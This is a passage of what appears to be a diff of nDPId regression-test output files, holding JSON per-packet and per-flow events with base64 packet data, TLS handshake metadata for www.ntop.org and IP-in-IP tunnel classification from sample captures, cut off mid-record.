+00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-safari.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581109359601,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53031,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":601646,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGAULAqAENsj7Fgs8nAbvmgoUNAAAAALAC\/\/+6MQAAAgQFtAEDAwUBAQgKHinouAAAAAAEAgAA"} +00438{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":639845,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGDUayPsWCwKgBDQG7zyeqmyMX5oKFDqAS\/ogx6QAAAgQFrAQCCAolLqfYHinouAEDAwc="} +00425{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":639949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs8nAbvmgoUOqpsjGIAQECxO5AAAAQEICh4p6N4lLqfY"} +00741{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":641072,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEdAABAAEAGAGXAqAENsj7Fgs8nAbvmgoUOqpsjGIAYECyk0wAAAQEICh4p6N8lLqfYFgMBAOQBAADgAwO3U9SDw6dmF9tIkvK4s2zLvIzeuLe65SzRlAWXQjKSvgAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACP\/wEAAQAAAAARAA8AAAx3d3cubnRvcC5vcmcAFwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAM3QAAAASAAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAsAAgEAAAoACgAIAB0AFwAYABk="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"443-safari.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1581109359601,"flow_last_seen":1581109359641,"flow_tot_l4_data_len":381,"flow_min_l4_data_len":32,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53031,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00426{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":679612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0Q1tAADQGyfKyPsWCwKgBDQG7zyeqmyMY5oKF94AQAfxcAwAAAQEICiUup\/8eKejf"} +02365{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":683686,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUQ1xAADQGxFGyPsWCwKgBDQG7zyeqmyMY5oKF94AQAfwvQQAAAQEICiUuqAMeKejfFgMDAGoCAABmAwOKpsicpud3Lmk42Brvx+EObzU7se9MEi0URMjNTzFWCSCCpUGJk7ZDH0ec58XLYe70v2C1P918PawRwoCm\/lXuYMyoAAAe\/wEAAQAAAAAAAAsABAMAAQIAEAAFAAMCaDIAFwAAFgMDCfgLAAn0AAnxAAVVMIIFUTCCBDmgAwIBAgISA8VvZjbtpy9\/TFZl+gVdkzJVMA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQDExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0xOTEyMTcwMTE3MjhaFw0yMDAzMTYwMTE3MjhaMBcxFTATBgNVBAMTDHd3dy5udG9wLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ0hw0GsoNYWYqyF+C6qN1huSqTB54hYtzK8O9B3Gaoq2VuTVLPZrsnkdnWjsiY67K3MXuV3hxF3+a7uvpWI1yoiVKKRsCxlotTLogPYMVlmS1lXlhLbcRJsE06lpUoUfIqd9nhdS1qcPhdP3O0DQtmy5ZnEpCvaFEvJVsWYs14cIDEXg2qj0WAxL4WWLXX1nH5KUg7UU6A4BPNriqw7q+ENbt\/LgSbKf2bpONuxvtmzizdKSLBAl5JYKkFmYVahKr6A1Rw0SMJc8jSsG7e0fhn34F+bKeYFJG8jj3PvhkfnzlS+\/zLszVqdlK9s04TeFBenpzFHRQq3f2ghWvAwxsECAwEAAaOCAmIwggJeMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUZnc5l2YnJaq+4YenuyuWuIfwkdcwHwYDVR0jBBgwFoAUqEpqYwR93brm0Tm3pkVl7\/Oo7KEwbwYIKwYBBQUHAQEEYzBhMC4GCCsGAQUFBzABhiJodHRwOi8vb2NzcC5pbnQteDMubGV0c2VuY3J5cHQub3JnMC8GCCsGAQUFBzAChiNodHRwOi8vY2VydC5pbnQteDMubGV0c2VuY3J5cHQub3JnLzAXBgNVHREEEDAOggx3d3cubnRvcC5vcmcwTAYDVR0gBEUwQzAIBgZngQwBAgEwNwYLKwYBBAGC3xMBAQEwKDAmBggrBgEFBQcCARYaaHR0cDovL2Nwcy5sZXRzZW5jcnlwdC5vcmcwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBep3P531bA57U2SH3QSeAyepGaDIShEhKEGHWWgXFFWAAAAW8RpWAQAAAEAwBIMEYCIQCEXHqG+IZwGzPayW5xKWPgOdDx2leta5j\/xT6IMByZZwIhAIit7OTYvrSXIn9iq6M8wgPh+GecLBjv6z+5lpf\/Lz0wAHYAB7dcG+V9aP\/xsMYdIxXHuuZXfFeUt2ruvGE6GmnTohwAAAFvEaVgLQAABAMARzBFAiAwKF1AGnKIoaES2V+MamcAr04N7T4BaQl9ku2Y4xVe0QIhAKiTfhJ90\/v8na0xK+UzRSH7VCPuL71ZW8GYiWrE2FRuMA0GCSqGSIb3DQEBCwUAA4IBAQAX+utCDtfpaHChE4rj5AbnazNhoNgjE8GsJmfGFmNB+2bnJnmSi4wSK9dK4XP8V88ijT5ZJbo1UuEDc2+uLMqkoXTvTSiWE7N8GhWUy+8nS71tA+H3MyNzvrzw2YcGaS5p\/p6kvnljqCHzi0+8m0KpgZql4CAaMgZQkh4ZXqXGdWQJYWQ7jmsVYx7C+001Salz1+jM4Oy0kuBOeSiM\/Y29RQT6skkmq2+hdtFOGqBPL2Lvg7Ate2Vhy9kmZM5kZWhcFQtqa80FpIvBnxm9"} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"443-safari.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1581109359601,"flow_last_seen":1581109359683,"flow_tot_l4_data_len":1885,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53031,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"f9fcb52580329fb6a9b61d7542087b90","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02370{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":683783,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUQ11AADQGxFCyPsWCwKgBDQG7zyeqmyi45oKF94AQAfxqRgAAAQEICiUuqAMeKejfPt8Ab9ikVY26upZFcjk5GVz69qcHyZPstbE8xsWVy+8c2HkQT7CPitQARbkn3eJPvJT+AASWMIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA\/MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0NlowSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EFq6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan\/PQeGdxyGkOlZHP\/uaZ6WA8SMx+yk13EiSdRxta67nsHjcAHJyse6cF6s5K671B5TaYucv9bTyWaN8jKkKQDIZ0Z8h\/pZq4UmEUEz9l6YKHy9v6Dlb2honzhT+Xhq+w3Brvaw2VFn3EK6BlspkENnWAa6xK8xuQSXgvopZPKiAlKQTGdMDQMc2PMTiVFrqoM7hD8bEfwzB\/onkxEz0tNvjj\/PIzark5McWvxI0NHWQWM6r6hCm21AvA2H3DkwIDAQABo4IBfTCCAXkwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwfwYIKwYBBQUHAQEEczBxMDIGCCsGAQUFBzABhiZodHRwOi8vaXNyZy50cnVzdGlkLm9jc3AuaWRlbnRydXN0LmNvbTA7BggrBgEFBQcwAoYvaHR0cDovL2FwcHMuaWRlbnRydXN0LmNvbS9yb290cy9kc3Ryb290Y2F4My5wN2MwHwYDVR0jBBgwFoAUxKexpHsscfrb4UuQdf\/EFWCFiRAwVAYDVR0gBE0wSzAIBgZngQwBAgEwPwYLKwYBBAGC3xMBAQEwMDAuBggrBgEFBQcCARYiaHR0cDovL2Nwcy5yb290LXgxLmxldHNlbmNyeXB0Lm9yZzA8BgNVHR8ENTAzMDGgL6AthitodHRwOi8vY3JsLmlkZW50cnVzdC5jb20vRFNUUk9PVENBWDNDUkwuY3JsMB0GA1UdDgQWBBSoSmpjBH3duubRObemRWXv86jsoTANBgkqhkiG9w0BAQsFAAOCAQEA3TPXEfNjWDjdGBX7CVW+dla5cEilaUcne8IkCJLxWh9KEik3JHRRHGJouM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr\/1wXKtx8\/wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so\/joWUoHOUgwuX4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlGPfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6KOqkqm57TH2H3eDJAkSnh6\/DNFu0QhYDAwEsDAABKAMAHSDNFhiWXs0qHQ8G5wseeubU3TMqxpEWpQ1nZZ1JMWOgDggEAQB4JLARF0gDufAS6PjMl+ZcNHBEMmHC5rEI60VQXue9HUGpA8dhR7\/ICwLrTYdp\/W4\/35H1BC1LLjBJjDSuMcNXD1cCam3980yesF6NCICWmLZ3GpmD7NFbRHQJuBQDPScWpjYAG4j\/p+d0iFEHJDGNZU3K1VDwv12wLyU1gAhbuwuVf2lyP10LAbU\/fROyYVTGQZrMVaNoUB7o+SLvlt\/yCy6N"} +01021{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"443-safari.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1581109359601,"flow_last_seen":1581109359683,"flow_tot_l4_data_len":3357,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":479,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53031,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"www.ntop.org","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"f9fcb52580329fb6a9b61d7542087b90","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=www.ntop.org","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"DB:A7:E4:3E:6D:BB:21:AB:68:47:35:E8:0B:8F:15:DF:DB:C7:C9:6F"}} +00566{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":683785,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"KDc3AG3IEBMx8Tl2CABFAACaQ15AADQGyYmyPsWCwKgBDQG7zyeqmy5Y5oKF94AYAfz2WgAAAQEICiUuqAMeKejflBRBgMGZVdRZOR8f6IjhktBdhoE6\/DQgaS5VQe24xAg6UiVLi4vdkyT6xDPJHOiyUXMCwGj8UsvLwTibbAWapVLRMci9o6jUhBO+6V0kA0KpQQxXe\/PUsiKT3S7QFgMDAAQOAAAA"} +00425{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":683846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs8nAbvmgoX3qpsuWIAQD9JCvwAAAQEICh4p6QklLqgD"} +00427{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":683850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs8nAbvmgoX3qpsuvoAQD89CXAAAAQEICh4p6QklLqgD"} +00548{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":909510,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"EBMx8Tl2KDc3AG3ICABFAACJAABAAEAGAPnAqAENsj7Fgs8nAbvmgoX3qpsuvoAYEABwFwAAAQEICh4p6eYlLqgDFgMDACUQAAAhIMGqhb3XkJGA\/wF9eUKXrfykVDj\/ThTT8RIYiOqeXTUnFAMDAAEBFgMDACAz7MdDvgVsnCUAT7S8N0RvYyr88eVA75jMkS1gHOhNlw=="} +00489{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":948070,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"KDc3AG3IEBMx8Tl2CABFAABfQ19AADQGycOyPsWCwKgBDQG7zyeqmy6+5oKGTIAYAfxBiQAAAQEICiUuqQweKenmFAMDAAEBFgMDACAMEp1KmtCUjr44sERCaOH9w8xAiWJ7YAJf3Vq4tOyOxQ=="} +00499{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":948101,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"KDc3AG3IEBMx8Tl2CABFAABlQ2BAADQGybyyPsWCwKgBDQG7zyeqmy7p5oKGTIAYAfzx6QAAAQEICiUuqQweKenmFwMDACyPw1aJHd3EuqdSE\/LScQ19HUZ6b\/Hrxr1Ppm2Om5KPE2xvVddH2ITgh0Twfg=="} +00429{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":948180,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs8nAbvmgoZMqpsu6YAQD\/4\/oQAAAQEICh4p6gwlLqkM"} +00429{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"443-safari.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109359,"pkt_ts_usec":948184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs8nAbvmgoZMqpsvGoAQD\/0\/cQAAAQEICh4p6gwlLqkM"} diff --git a/test/results/4in4tunnel.pcap.out b/test/results/4in4tunnel.pcap.out new file mode 100644 index 000000000..7bdbab56c --- /dev/null +++ b/test/results/4in4tunnel.pcap.out @@ -0,0 +1,10 @@ +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1537044271,"pkt_ts_usec":794779,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJToWAAA\/wQRSEVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGxLmgACAAAEc2wQAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} +00160{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","type":33024} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1537058551,"pkt_ts_usec":803081,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRbZwAA\/wSeOUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzGjAACAAAAJvVqAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} +00160{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","type":33024} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1537082929,"pkt_ts_usec":816392,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRsDwAA\/wSNkUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzKXAACAAABmvAmAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} +00160{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","type":33024} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1537138237,"pkt_ts_usec":839574,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRnMwAA\/wSSbUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzXzgACAAAE5t9oAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} +00160{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","type":33024} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1537165843,"pkt_ts_usec":864842,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJTPEAAA\/wQqkEVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGz7LQACAAABZb+KAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} +00160{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/4in6tunnel.pcap.out b/test/results/4in6tunnel.pcap.out new file mode 100644 index 000000000..865d6103c --- /dev/null +++ b/test/results/4in6tunnel.pcap.out @@ -0,0 +1,6 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"4in6tunnel.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1543235434019,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip6","src_ip":"22e0:1685:eda7:38cc:58bd:f3f1:aa3f:22d8","dst_ip":"344a:ba94:152a:ac34::2a","l4_proto":4,"flow_datalink":1,"flow_max_packets":15} +00551{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"4in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1543235434,"pkt_ts_usec":19243,"pkt_caplen":154,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":154,"pkt_l4_len":52,"pkt":"AAECunaOAAAASfSHht1gAAAAADQEPyLgFoXtpzjMWL3z8ao\/Itg0SrqUFSqsNAAAAAAAAAAqRQAANHvwQAB\/BqsfwKgAAQoKCgH7xwG73+E+ggAAAACAAv\/\/fqUAAAIEBYQBAwMIAQEEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"4in6tunnel.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1543235434019,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip6","src_ip":"22e0:1685:eda7:38cc:58bd:f3f1:aa3f:22d8","dst_ip":"344a:ba94:152a:ac34::2a","l4_proto":4,"ndpi": {"proto":"IP_in_IP","breed":"Acceptable","category":"Network"}} +00552{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"4in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1543235434,"pkt_ts_usec":19246,"pkt_caplen":154,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":154,"pkt_l4_len":52,"pkt":"AAECunaOAAAASfSHht1gAAAAADQEPTRKupQVKqw0AAAAAAAAACoi4BaF7ac4zFi98\/GqPyLYRQAANEufQABhBvlwCgoKAcCoAAEBu\/vHAwzKjt\/hPoOAEv\/\/sQUAAAIEBXgBAwMIAQEEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00832{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"4in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1543235434,"pkt_ts_usec":19247,"pkt_caplen":366,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":366,"pkt_l4_len":264,"pkt":"AAECunaOAAAASfSHht1gAAAAAQgEPyLgFoXtpzjMWL3z8ao\/Itg0SrqUFSqsNAAAAAAAAAAqRQABCHv3QAB\/BqpEwKgAAQoKCgH7xwG73+E+gwMMyo9QGAQA0icAABYDAwDbAQAA1wMDW5uXE0\/QFYUpkWO+HpgF5MI5wT9TQj14SroSH1Zl8oggjz8AALXLO9H2rxfCGsjqy7cU6\/NXDrPxEswgEUGVcfAAJsAswCvAMMAvwCTAI8AowCfACsAJwBTAEwCdAJwAPQA8ADUALwAKAQAAaAAAABEADwAADHd3dy5iaW5nLmNvbQAKAAgABgAdABcAGAALAAIBAAANABQAEgQBBQECAQQDBQMCAwICBgEGAwAjAAAAEAAOAAwCaDII